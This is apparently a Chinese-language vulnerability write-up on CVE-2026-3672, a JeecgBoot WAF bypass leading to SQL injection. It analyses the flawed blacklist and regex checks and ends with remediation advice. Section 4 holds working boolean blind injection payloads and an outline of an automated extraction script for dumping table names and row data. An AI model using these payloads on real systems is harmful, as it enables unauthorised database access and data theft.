CVE-2026-3672 Jeecgboot3.9.1/3.9.0 WAF绕过:正则缺陷导致SQL注入
字数 3680
更新时间 2026-03-24 13:14:32

CVE-2026-3672 Jeecgboot 3.9.1/3.9.0 WAF绕过与SQL注入漏洞分析教学文档

1. 漏洞概述

漏洞编号: CVE-2026-3672
目标系统: JeecgBoot
受影响版本: 3.9.1, 3.9.0
漏洞类型: Web应用防火墙(WAF)绕过 -> SQL注入
利用条件: 任意用户权限
风险等级: 高危

2. 漏洞核心机理

该漏洞的核心在于JeecgBoot内置WAF的逻辑缺陷,通过特定的Payload构造,可以绕过其SQL注入防护机制,实现布尔盲注。其缺陷主要体现在以下几个方面:

  1. 黑名单机制不对称:通用检查与字典检查所使用的黑名单存在差异,导致某些关键字在一种检查中被拦截,在另一种检查中却被放行。
  2. 正则匹配逻辑缺陷:用于检测SQL关键字的正则匹配规则存在逻辑漏洞,使得精心构造的Payload可以避开检测。
  3. 不安全的SQL拼接:在特定的代码路径中,用户输入的过滤条件(filterSql)被直接拼接到SQL语句的WHERE子句之后,未经过参数化处理。

3. 漏洞详细分析

3.1 触发入口

控制器: SysDictController.java
入口路由: GET /sys/dict/getDictItems/{dictCode}GET /jeecg-boot/sys/api/getDictItems?dictCode=...

dictCode参数被直接传递给sysDictService.getDictItems(dictCode)方法进入业务逻辑。

3.2 代码路径分析

SysDictServiceImpl.java中,服务层根据dictCode的格式进行路由:

  • 三段格式 (如: 表名,显示字段,存储字段): 调用queryTableDictItemsByCode
  • 四段格式 (如: 表名,显示字段,存储字段,过滤条件): 调用queryTableDictItemsByCodeAndFilter(params[0], params[1], params[2], params[3])漏洞关键点在于第四段

在四段格式的处理中,dictCode的第四段被解析为过滤条件(filterSql),并传入${filterSql}。此时代码未走默认的SQL注入检查,而是进入了specialFilterContentForDictSql通道(即字典专用检查)。

3.3 WAF逻辑缺陷详解

对比默认检查与字典专用检查的黑名单:

  • 默认检查黑名单 (XSS_STR):
    "and |exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|or |+|--"
    
  • 字典专用检查黑名单 (specialDictSqlXssStr):
    "exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract|insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |;|+|--"
    

关键差异字典专用检查黑名单中缺少了 andor 这两个关键字。这是第一个可被利用的弱点。

第二个逻辑缺陷在于黑名单的匹配函数 (isSpecialCharExist 及其调用的 checkSQLInject)。

  1. 匹配规则:对于大部分关键字(如select, from),系统使用正则表达式 \\s+\\S+关键字 进行匹配。这意味着它查找的模式是“一个或多个空白字符 + 一个或多个非空白字符 + 关键字”
  2. 双重校验:即使上述模式匹配成功,也仅当匹配到的片段中包含 %+#/) 等特殊符号时,才会被判定为恶意输入并进行拦截。这是一个致命的逻辑错误。

Payload构造绕过分析

漏洞文档中给出的基础Payload为:
1=1%20and%20(select%20count(username)%20from%20sys_user)

  • 针对select的绕过:
    • WAF匹配模式: \s+\S+select
    • 输入片段: and (select
    • 匹配结果: 成功匹配到 (select(空格 + ( + select)。但该片段不包含 ),因此WAF判定为通过
  • 针对from的绕过:
    • WAF匹配模式: \s+\S+from
    • 输入片段: ) from
    • 匹配结果: 匹配失败。因为from前的字符是空格,不满足\S+(一个或多个非空白字符)的要求。因此WAF判定为通过

结论:通过构造类似 (select ... ) from 的语法结构,可以同时绕过对selectfrom的关键字检查,从而实现SQL注入。

4. 漏洞利用步骤(布尔盲注)

前提:由于information_schema等常用系统表被黑名单拦截,需使用备用表mysql.innodb_index_stats

4.1 布尔盲注判断逻辑

通过观察请求返回结果进行判断:

  • 页面返回正常数据(非空JSON数组) -> 注入条件为(True)。
  • 页面返回空数组或错误 -> 注入条件为(False)。

4.2 利用Payload示例

  1. 基础验证Payload:

    /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1%20and%20(select%20count(username)%20from%20sys_user)
    
  2. 查当前数据库下表的数量 (Payload URL编码后):

    GET /jeecg-boot/sys/api/getDictItems?dictCode=sys_user,username,id,1=1+and+((select+count(distinct+table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3e=124) HTTP/1.1
    
  3. 获取第一个表名 (逐字符爆破):

    • 判断表名长度:
      ... and((select+length(min(table_name))+from+mysql.innodb_index_stats+where+database_name=database())%3E17)
      
    • 判断第一个字符 (从'z''a'及数字递减比较):
      ... and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'z')
      
    • 判断第二个字符 (基于第一个字符'a'):
      ... and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3E'az')
      
    • 最终验证完整表名:
      ... and((select+min(table_name)+from+mysql.innodb_index_stats+where+database_name=database())%3d'aigc_word_template')
      
  4. 获取指定表的数据 (以aigc_word_template表,id字段为例):

    • 判断字段是否存在:
      ... and(select+count(id)+from+aigc_word_template)%3E=0
      
    • 判断字段值长度 (从0开始递增):
      ... and+exists(select+id+from+aigc_word_template+where+length(id)%3e19) // 返回假
      ... and+exists(select+id+from+aigc_word_template+where+length(id)%3D19) // 验证为真,则长度=19
      
    • 逐位获取字段值 (使用likecast):
      ... and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1%25')
      ... and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'19%25')
      ... and+exists(select+1+from+aigc_word_template+where+cast(id+as+char)+like+'1957327567174488065%25')
      
  5. 遍历多行数据 (假设已知第一行id1898995126819143682,查询下一行):

    • 确认存在下一行:
      ... and+exists(select+1+from+airag_app+where+id+%3E+'1898995126819143682')
      
    • 获取下一行id的值 (同样逐字符比较):
      ... and+exists(select+1+from+airag_app+where+cast((select+min(id)+from+airag_app+where+id+%3E+'1898995126819143682')+as+char)+like+'1%25')
      

4.3 自动化利用脚本思路

手动构造所有Payload效率极低,文档中给出了自动化脚本的核心逻辑,主要包括以下功能函数:

  • send_payload(condition): 发送注入条件,并根据返回结果判断布尔值(真/假)。
  • check_field_exists(table, field): 检查指定表的指定字段是否存在。
  • table_has_data(table): 检查指定表是否有数据。
  • get_all_row_ids(table): 获取指定表的所有行ID。
  • get_field_value_by_id(table, field, row_id): 根据行ID获取特定字段的值。

利用流程

  1. 利用mysql.innodb_index_stats表爆破出当前数据库的所有表名。
  2. 针对每个表,使用一个预定义的常用字段字典(如id, name, username, password, email, phone, create_time, update_time等)来检查字段是否存在,而非盲目遍历information_schema.columns,以大幅降低请求次数和时间复杂度。
  3. 对于存在数据的表和有数据的字段,逐行、逐字段地利用布尔盲注提取数据。

5. 修复建议

  1. 根本性修复

    • 禁止四段式dictCode:不再允许外部传入filterSql(过滤条件)。
    • 使用参数化查询:将Mapper XML文件中的where ${filterSql}改为使用MyBatis的参数绑定(如#{filterValue}),或使用<where>标签配合<if>进行安全的动态SQL构建。
    • 结构化过滤:如果业务上必须支持动态过滤,应设计为“字段白名单 + 参数化值”的模式。例如,前端传递{field: 'name', operator: '=', value: 'test'},后端在代码层面进行校验和拼接。
  2. 加固性修复

    • 统一并强化黑名单:确保所有SQL检查路径(默认检查和字典检查)使用同一套完备且严格的关键字黑名单。但需明确,黑名单仅为辅助和兜底手段,不能作为唯一的防护措施。
    • 修复正则逻辑:修正checkSQLInject方法中的正则匹配和后续的符号检查逻辑,消除可被绕过的缺陷。
    • 最小权限原则:确保应用连接数据库的账户仅具有必要的最小操作权限。

6. 总结

CVE-2026-3672漏洞是典型的“安全机制设计缺陷导致防护被绕过”案例。其根源在于:

  1. 输入验证与净化不足:对用户可控的filterSql参数未做有效校验和净化。
  2. 依赖不可靠的黑名单:将安全依赖于存在逻辑缺陷和覆盖不全的黑名单机制。
  3. SQL拼接风险:直接进行字符串拼接构造SQL语句。

在开发和代码审计中,应始终坚持“外部输入不可信”原则,优先使用参数化查询等根本性安全方案,避免直接拼接SQL,并对所有安全校验逻辑进行充分测试。

相似文章
相似文章
 全屏